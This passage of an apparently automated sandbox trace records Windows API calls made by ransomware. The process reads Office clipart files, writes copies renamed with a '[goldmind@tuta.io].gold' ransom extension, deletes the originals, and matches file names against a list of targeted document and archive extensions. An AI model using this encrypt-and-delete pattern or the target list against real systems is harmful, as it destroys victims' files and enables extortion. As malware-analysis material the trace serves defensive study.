office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.845] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.845] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.846] GetLastError () returned 0x0 [0094.846] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x384, lpOverlapped=0x0) returned 1 [0094.872] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x390, lpOverlapped=0x0) returned 1 [0094.873] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.873] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.873] SetEndOfFile (hFile=0x3b4) returned 1 [0094.873] CloseHandle (hObject=0x3b4) returned 1 [0094.873] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.873] SetEndOfFile (hFile=0x3b8) returned 1 [0094.875] CloseHandle (hObject=0x3b8) returned 1 [0094.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0094.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.875] lstrlenW (lpString=".doc") returned 4 [0094.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.875] lstrlenW (lpString=".docx") returned 5 [0094.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.875] lstrlenW (lpString=".pdf") returned 4 [0094.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.875] lstrlenW (lpString=".xls") returned 4 [0094.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.876] lstrlenW (lpString=".xlsx") returned 5 [0094.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.876] lstrlenW (lpString=".ppt") returned 4 [0094.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString=".zip") returned 4 [0094.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.876] lstrlenW (lpString=".rar") returned 4 [0094.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString=".bz2") returned 4 [0094.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString=".7z") returned 3 [0094.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString=".dbf") returned 4 [0094.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString=".1cd") returned 4 [0094.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString=".jpg") returned 4 [0094.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString=".doc") returned 4 [0094.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString=".docx") returned 5 [0094.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.876] lstrlenW (lpString=".pdf") returned 4 [0094.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString=".xls") returned 4 [0094.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.876] lstrlenW (lpString=".xlsx") returned 5 [0094.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.876] lstrlenW (lpString=".ppt") returned 4 [0094.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString=".zip") returned 4 [0094.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.876] lstrlenW (lpString=".rar") returned 4 [0094.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString=".bz2") returned 4 [0094.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString=".7z") returned 3 [0094.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString=".dbf") returned 4 [0094.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString=".1cd") returned 4 [0094.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0094.876] lstrlenW (lpString=".jpg") returned 4 [0094.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.877] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.877] lstrlenW (lpString="DD01628_.WMF") returned 12 [0094.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.877] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=19068) returned 1 [0094.877] CloseHandle (hObject=0x3b8) returned 1 [0094.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0094.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.877] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.878] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.880] GetLastError () returned 0x0 [0094.880] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4a7c, lpOverlapped=0x0) returned 1 [0094.905] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4a80, lpOverlapped=0x0) returned 1 [0094.905] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.905] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.906] SetEndOfFile (hFile=0x3b4) returned 1 [0094.906] CloseHandle (hObject=0x3b4) returned 1 [0094.906] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.906] SetEndOfFile (hFile=0x3b8) returned 1 [0094.908] CloseHandle (hObject=0x3b8) returned 1 [0094.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0094.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.961] lstrlenW (lpString=".doc") returned 4 [0094.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.961] lstrlenW (lpString=".docx") returned 5 [0094.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.961] lstrlenW (lpString=".pdf") returned 4 [0094.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.961] lstrlenW (lpString=".xls") returned 4 [0094.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.961] lstrlenW (lpString=".xlsx") returned 5 [0094.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.961] lstrlenW (lpString=".ppt") returned 4 [0094.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.961] lstrlenW (lpString=".zip") returned 4 [0094.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.961] lstrlenW (lpString=".rar") returned 4 [0094.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString=".bz2") returned 4 [0094.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString=".7z") returned 3 [0094.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.962] lstrlenW (lpString=".dbf") returned 4 [0094.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.962] lstrlenW (lpString=".1cd") returned 4 [0094.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.962] lstrlenW (lpString=".jpg") returned 4 [0094.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.962] lstrlenW (lpString=".doc") returned 4 [0094.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString=".docx") returned 5 [0094.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.962] lstrlenW (lpString=".pdf") returned 4 [0094.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString=".xls") returned 4 [0094.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.962] lstrlenW (lpString=".xlsx") returned 5 [0094.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.962] lstrlenW (lpString=".ppt") returned 4 [0094.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.962] lstrlenW (lpString=".zip") returned 4 [0094.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.962] lstrlenW (lpString=".rar") returned 4 [0094.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString=".bz2") returned 4 [0094.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.962] lstrlenW (lpString=".7z") returned 3 [0094.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.963] lstrlenW (lpString=".dbf") returned 4 [0094.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.963] lstrlenW (lpString=".1cd") returned 4 [0094.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0094.963] lstrlenW (lpString=".jpg") returned 4 [0094.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.963] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.963] lstrlenW (lpString="ED00010_.WMF") returned 12 [0094.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.969] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1382) returned 1 [0094.969] CloseHandle (hObject=0x3b8) returned 1 [0094.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0094.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.973] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.973] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.974] GetLastError () returned 0x0 [0094.974] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x566, lpOverlapped=0x0) returned 1 [0094.976] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x570, lpOverlapped=0x0) returned 1 [0094.976] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.976] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.976] SetEndOfFile (hFile=0x3b4) returned 1 [0094.976] CloseHandle (hObject=0x3b4) returned 1 [0094.976] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.977] SetEndOfFile (hFile=0x3b8) returned 1 [0094.978] CloseHandle (hObject=0x3b8) returned 1 [0094.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0094.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.979] lstrlenW (lpString=".doc") returned 4 [0094.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.979] lstrlenW (lpString=".docx") returned 5 [0094.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.979] lstrlenW (lpString=".pdf") returned 4 [0094.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.979] lstrlenW (lpString=".xls") returned 4 [0094.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.979] lstrlenW (lpString=".xlsx") returned 5 [0094.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.979] lstrlenW (lpString=".ppt") returned 4 [0094.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString=".zip") returned 4 [0094.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.980] lstrlenW (lpString=".rar") returned 4 [0094.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString=".bz2") returned 4 [0094.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString=".7z") returned 3 [0094.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString=".dbf") returned 4 [0094.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString=".1cd") returned 4 [0094.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString=".jpg") returned 4 [0094.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString=".doc") returned 4 [0094.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString=".docx") returned 5 [0094.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.980] lstrlenW (lpString=".pdf") returned 4 [0094.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString=".xls") returned 4 [0094.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.980] lstrlenW (lpString=".xlsx") returned 5 [0094.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.980] lstrlenW (lpString=".ppt") returned 4 [0094.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString=".zip") returned 4 [0094.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.980] lstrlenW (lpString=".rar") returned 4 [0094.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString=".bz2") returned 4 [0094.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString=".7z") returned 3 [0094.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString=".dbf") returned 4 [0094.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString=".1cd") returned 4 [0094.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0094.980] lstrlenW (lpString=".jpg") returned 4 [0094.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.981] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.981] lstrlenW (lpString="ED00019_.WMF") returned 12 [0094.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.981] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=13042) returned 1 [0094.981] CloseHandle (hObject=0x3b8) returned 1 [0094.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0094.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.982] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 